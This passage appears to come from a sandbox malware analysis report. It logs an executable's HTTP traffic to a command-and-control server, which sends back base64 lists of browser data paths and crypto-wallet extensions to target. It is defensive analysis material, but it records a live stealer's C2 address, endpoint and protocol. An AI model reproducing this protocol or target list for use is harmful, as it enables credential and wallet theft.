Oct 27, 2024 07:59:19.490169048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.495860100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777033091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777057886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777066946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777118921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777153015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777156115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777172089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777178049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777211905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777246952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777256966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777323008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777334929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777343988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777357101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777367115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777407885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777407885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777410030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777415037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777415037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777415037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777415037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777422905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777437925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777456999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777468920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777478933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777492046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777509928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777518034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777518034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777523041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777523041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777558088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777573109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777585983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777606010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777654886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777671099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777782917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777795076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777805090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777815104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777826071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777837038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777894020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777894020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777894020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777894020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777894020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.777915955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777926922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777945995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777961016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777971029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777981043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.777992010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778002977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778008938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778008938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778023958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778023958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778050900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778078079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778110981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778122902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778156996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778168917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778199911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778211117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778220892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778230906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778240919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778258085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778263092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778268099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778276920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778335094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778335094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778351068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778367043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778378010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778388023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778399944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778439045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778450012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778465986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778476954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778538942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778554916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778554916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778554916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778556108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778556108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778556108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778562069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778565884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778574944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778584003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778589010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778600931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778636932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778650045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778656960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778656960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778656960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778661013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778675079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778731108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778738022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778738022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778743029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778754950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778765917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.778877020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778877020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.778887033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:20.271584988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:20.271626949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:20.276961088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:20.276972055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.060480118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.060650110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.127520084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.132868052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.416763067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.416774988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.416785955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.416795015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.417001963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.417001963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.440181017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.446010113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.729588985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:21.729779005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.743293047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:21.748632908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:22.523756981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:22.523889065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:22.555049896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:22.560395002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:22.844748020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:22.849658966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:22.851072073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:22.856357098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:23.631756067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:23.637850046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:28.797410011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:28.797492981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:29.551337957 CET	49704	80	192.168.2.5	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 07:59:01.373827934 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 07:59:02.298235893 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:02.301480055 CET	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKEC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 36 41 32 43 32 33 42 39 33 30 31 33 39 39 36 30 39 33 33 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 2d 2d 0d 0a Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="hwid"A46A2C23B9301399609336------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="build"puma------JDHJKKFBAEGDGDGCBKEC--
Oct 27, 2024 07:59:02.601855993 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 5a 6c 4d 57 49 34 4d 6a 6c 6c 4f 57 4a 68 4f 44 45 78 4d 54 51 32 4d 54 4a 6a 4d 44 5a 6d 4e 32 51 35 5a 6a 6b 30 59 54 51 32 59 32 49 78 4d 32 55 30 4f 54 6c 69 4f 54 51 79 59 6a 51 34 59 7a 5a 68 5a 44 63 35 4f 54 45 31 4e 6d 59 33 4e 47 51 33 4e 57 4e 6c 4e 7a 46 68 4f 44 4a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YmZlMWI4MjllOWJhODExMTQ2MTJjMDZmN2Q5Zjk0YTQ2Y2IxM2U0OTliOTQyYjQ4YzZhZDc5OTE1NmY3NGQ3NWNlNzFhODJifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 27, 2024 07:59:02.603977919 CET	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"browsers------HCAEHDHDAKJEBGCBKKJE--
Oct 27, 2024 07:59:02.893405914 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 27, 2024 07:59:02.893456936 CET	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 27, 2024 07:59:02.895437956 CET	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"plugins------JKJDBAAAEHIEGCAKFHCG--
Oct 27, 2024 07:59:03.185035944 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
